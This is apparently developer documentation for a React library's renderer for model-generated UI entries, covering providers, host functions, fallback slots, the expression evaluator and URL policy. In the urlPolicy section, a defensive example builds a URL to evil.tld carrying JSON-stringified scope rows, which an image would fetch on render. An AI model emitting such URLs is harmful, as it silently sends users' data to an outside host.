Renderer
<RendererProvider> holds your implementations, the evaluator with
your host functions, the fallback UI and one reactive store.
<EntriesRenderer> renders entries against that store and re-renders
as state changes. It also renders on the server: see
Server rendering.
Mounting a document
import { Evaluator } from "@uicast/expr";
import { EntriesRenderer, RendererProvider } from "@uicast/react";
import { impls } from "@uicast/shadcn-catalog/all/impls";
import { tools } from "@/tools";
const evaluator = new Evaluator({ functions: tools });
const entries = [
{ key: "hello", component: "Typography", props: { literal: { text: "Hello" } } },
];
<RendererProvider implementations={impls} evaluator={evaluator}>
<EntriesRenderer entries={entries} />
</RendererProvider>;One store, many renderers
The renderers under one provider form a group and share one root scope:
<RendererProvider implementations={impls} evaluator={evaluator}>
<EntriesRenderer entries={ordersBlock} />
<EntriesRenderer entries={statsBlock} />
</RendererProvider>;// ordersBlock
{ "key": "new-order", "component": "Button",
"seed": [{ "set": "scopes.root.orderCount", "literal": 1 }],
"props": { "literal": { "text": "New order" } },
"callbacks": { "onClick": [{ "set": "scopes.root.orderCount", "expr": "currentValue + 1" }] } }
// statsBlock
{ "key": "order-count", "component": "Stat",
"seed": [{ "set": "scopes.root.orderCount", "literal": 0 }],
"props": { "expr": "({ label: 'Orders', value: scopes.root.orderCount })" } }The Stat shows 1, not 0: seed is first-writer-wins, so the
second seed keeps what the first wrote.
The Streamdown plugin relies on this: each ```uicast
block is its own <EntriesRenderer>, and every block seeds everything it reads.
To isolate documents, give each its own provider.
RendererProvider props
implementations: the implementations, matching the definitions. A duplicate name throws. To replace a catalog component, filter its name out of both arrays.evaluator: runs every expression, with your host functions bound; see below.urlPolicy(optional): which URLs may reach a prop the definition declares as a URL; see below.fallbackComponents(optional): the UI the engine draws itself; see below.init(optional): preloads state once for the group and can add named scopes; see below and State & Scopes.onError(optional): called once per classified failure: everything the error slot shows, plus callback failures, which render no slot. See Error recovery.
<EntriesRenderer> takes one prop, entries, memoized on the array reference,
so each streamed entry must arrive in a new array:
setEntries((prev) => [...prev, next])
Settled subtrees do not re-render as later entries arrive. <EntriesRenderer>
throws outside a <RendererProvider>.
Pass stable references
implementations, evaluator, fallbackComponents, urlPolicy and onError
must keep their identity across renders, or every element re-renders. Use
module constants:
const implementations = [...impls, MyCard]; // ✅ module scope
const evaluator = new Evaluator({ functions: [listRows, deleteRow] }); // ✅ module scope
// ❌ a fresh array each render — every node under it re-renders
<RendererProvider evaluator={evaluator} implementations={[...impls, MyCard]}>…</RendererProvider>;Host functions — only in seed and callbacks
A host function is a bare identifier in an expression, called as name(input),
and only in seed and callbacks:
{ "key": "grid", "component": "DataGrid",
"seed": [{ "set": "scopes.root.rows", "expr": "listRows()" }],
"props": { "expr": "({ columns: [{ key: 'name', header: 'Name' }], rows: scopes.root.rows })" },
"callbacks": { "onRowClick": [
{ "expr": "deleteRow({ id: evt.row.id })" }, // no `set` — runs for its effect alone
{ "set": "scopes.root.rows", "expr": "listRows()" }
] } }props, hidden, loading and each evaluate synchronously, so a host call
there is refused, and the element shows its error slot (guardrail-violation):
// ❌
{ "key": "grid", "component": "DataGrid",
"props": { "expr": "({ columns: [{ key: 'name', header: 'Name' }], rows: listRows() })" } }fallbackComponents — the engine’s fallback UI
| Slot | Rendered when | Default |
|---|---|---|
defaultSkeleton | an implementation has no skeleton. It fills the slot of a child that has not streamed in. While an async seed or init loads, and in DocumentSkeleton, it stands in for an element without children; an element with children shows only its children. | nothing |
confirm | a callback step has confirm: | window.confirm |
error | any element-level failure: an implementation throws, an expression fails, an entry is misused as a list, or its component has no implementation | a plain inline-styled div |
The defaults need no UI library. The reference catalog has styled ones:
import { EntriesRenderer, RendererProvider } from "@uicast/react";
import { ConfirmModal, RenderError } from "@uicast/shadcn-catalog";
import { Skeleton } from "@uicast/shadcn-catalog/ui/skeleton";
const fallbackComponents = {
defaultSkeleton: () => <Skeleton className="h-8 w-full" />,
confirm: ConfirmModal,
error: RenderError,
};
<RendererProvider evaluator={evaluator} implementations={impls} fallbackComponents={fallbackComponents}>
<EntriesRenderer entries={entries} />
</RendererProvider>;Their props types are exported from @uicast/react:
type SkeletonComponentProps = {
reason: "streaming" | "seeding";
// │ └─ the entry is here, its async `seed` / `init` is resolving
// └─ the entry has not streamed in yet
entry: ComponentEntry; // the element's own, or the parent's in a child's slot; nothing in it is evaluated
knownProps?: Record<string, unknown>; // the props that need no evaluation (a literal or none), parsed and checked; absent in a child's slot
children?: ReactNode; // the children's skeletons, to wrap in your own tag; null without children, absent in a child's slot
};
type ConfirmComponentProps = {
open: boolean; // the dialog is always mounted; this toggles it
message: string; // the callback step's `confirm:` text
onConfirm: () => void;
onCancel: () => void;
};
type ErrorComponentProps = {
error: EntryError; // classified: switch on `error.reason` / `error.fault`; `error.elementKey` is the element's key
};Every failure, an unknown component included, is an
EntryError. Your own
RenderError can branch on it:
const RenderError = ({ error }: ErrorComponentProps) => {
if (error.reason === "unknown-component")
return <div>No implementation for “{error.elementKey}”</div>;
// a "document" fault is the model's to fix; an "environment" fault is yours
if (error.fault === "document")
return <button onClick={() => regenerate(error.elementKey)}>Regenerate</button>;
return <div>Something broke here: {error.message}</div>;
};
const fallbackComponents = { error: RenderError };
<RendererProvider evaluator={evaluator} implementations={impls} fallbackComponents={fallbackComponents}>
<EntriesRenderer entries={entries} />
</RendererProvider>;regenerate is yours; see Error recovery.
confirm is controlled by open, so your component needs no state of its own.
A step with confirm: opens it:
{ "key": "delete", "component": "Button",
"props": { "literal": { "text": "Delete", "variant": "destructive" } },
"callbacks": { "onClick": [
{ "confirm": "Delete this row? This can't be undone.", "expr": "deleteRow({ id: scopes.root.rowId })" },
{ "set": "scopes.root.rows", "expr": "listRows()" }
] } }On cancel, neither step runs.
evaluator — the expression evaluator
Every expression under the provider runs on this instance. Create it once, outside render: it holds the parse cache.
import { Evaluator } from "@uicast/expr";
const evaluator = new Evaluator({
functions: tools, // see Host functions
maxSourceLength: 1000, // the default; tell the prompt the same number
budget: { steps: 200_000 }, // optional ceilings
});
<RendererProvider implementations={impls} evaluator={evaluator}>
<EntriesRenderer entries={entries} />
</RendererProvider>;Evaluator checks every read and call at run time and needs no CSP
unsafe-eval. To change how it checks or runs expressions, see
Custom evaluator.
The prop is typed ExpressionEvaluator (exported by @uicast/expr and
@uicast/core); an evaluator for another language, with its own prompt, can
implement it.
Expression length
An expression may be at most maxSourceLength characters (1000 by default);
a longer one is rejected before parsing. Pass the same value to
getExpressionsPartialPrompt({ maxLength }).
urlPolicy — the URLs a document may load
urlPolicy checks every prop the definition declares as a URL (z.url()),
after props parse and before the implementation sees them. The
evaluator allows
"https://evil.tld/?d=" + JSON.stringify(scopes.root.rows), a valid
expression, and <img src> fetches it on render, with no click.
By default only relative URLs, same-origin absolute URLs, raster data: images
(never SVG, which can carry script) and inert schemes (mailto:, tel:, sms:, blob:) pass.
Anything else fails the element into the
error slot.
To allow more, pass an object or a predicate:
const urlPolicy = { hosts: ["cdn.example.com", "*.imgix.net"] };
<RendererProvider evaluator={evaluator} implementations={impls} urlPolicy={urlPolicy}>
<EntriesRenderer entries={entries} />
</RendererProvider>;| Field | Default | |
|---|---|---|
allowRelative | true | /a, a/b, ?q=1, #x; //host/a and \\host/a count as absolute |
allowSameOrigin | true | Absolute URLs on the page origin |
hosts | [] | Extra hosts over http/https; *.example.com matches subdomains only |
allowDataImages | true | data: raster images; never image/svg+xml |
origin | location.origin | Set it where there is no location (SSR) |
A predicate, urlPolicy={(url) => boolean}, replaces these rules.
Pass the same policy to the prompt, so the model writes URLs the renderer
loads. Its ## URL Props section lists them:
getComponentsPartialPrompt({ definitions, urlPolicy: { hosts: ["cdn.example.com", "*.imgix.net"] } });Without urlPolicy, the section describes the defaults, as the renderer uses
them. A predicate prints nothing: describe it in note.
init — preload state for the group
Runs once, when the first <EntriesRenderer> mounts, before its entries
evaluate:
import type { InitFn } from "@uicast/react";
const init: InitFn = async ({ scopes }) => {
scopes.root.user = await fetchUser();
};
<RendererProvider evaluator={evaluator} implementations={implementations} init={init}>
<EntriesRenderer entries={entries} />
</RendererProvider>;A returned Promise suspends the group, which draws the document’s skeleton until it resolves.
Extra named scopes
init can add scopes beyond root. Create one with
createProxyScope, keep the handle, and assign it onto
the scopes object init receives:
import { createProxyScope } from "@uicast/core";
const userCtx = createProxyScope({ name: "Hopper", plan: "pro" });
const init: InitFn = ({ scopes }) => {
scopes.userCtx = userCtx;
};
<RendererProvider evaluator={evaluator} implementations={implementations} init={init}>
<EntriesRenderer entries={entries} />
</RendererProvider>;An entry reads it like root:
{ "key": "hello", "component": "Typography",
"props": { "expr": "({ text: 'Hi ' + scopes.userCtx.name })" } }Host code can write to the handle at any time (userCtx.plan = "free"), and
every document reading it re-renders.
Tell the model about it: no prompt builder knows the scope. Describe it in
getCommonInstructionsPartialPrompt’s note, printed as a ## Note under the
prompt’s # Expression Context:
getCommonInstructionsPartialPrompt({
note: "scopes.userCtx holds the signed-in user: name (string), plan ('free' | 'pro').",
});Nothing checks that the note matches the scope; keep them in sync. Steps can
write its fields, as they write root’s, so a value you read back from it may
come from the model.
Where to go next
- Component implementation — the
implementationsyou pass in. - Entry fields — the
entriesthe renderer mounts. - The expression evaluator — what runs inside an entry.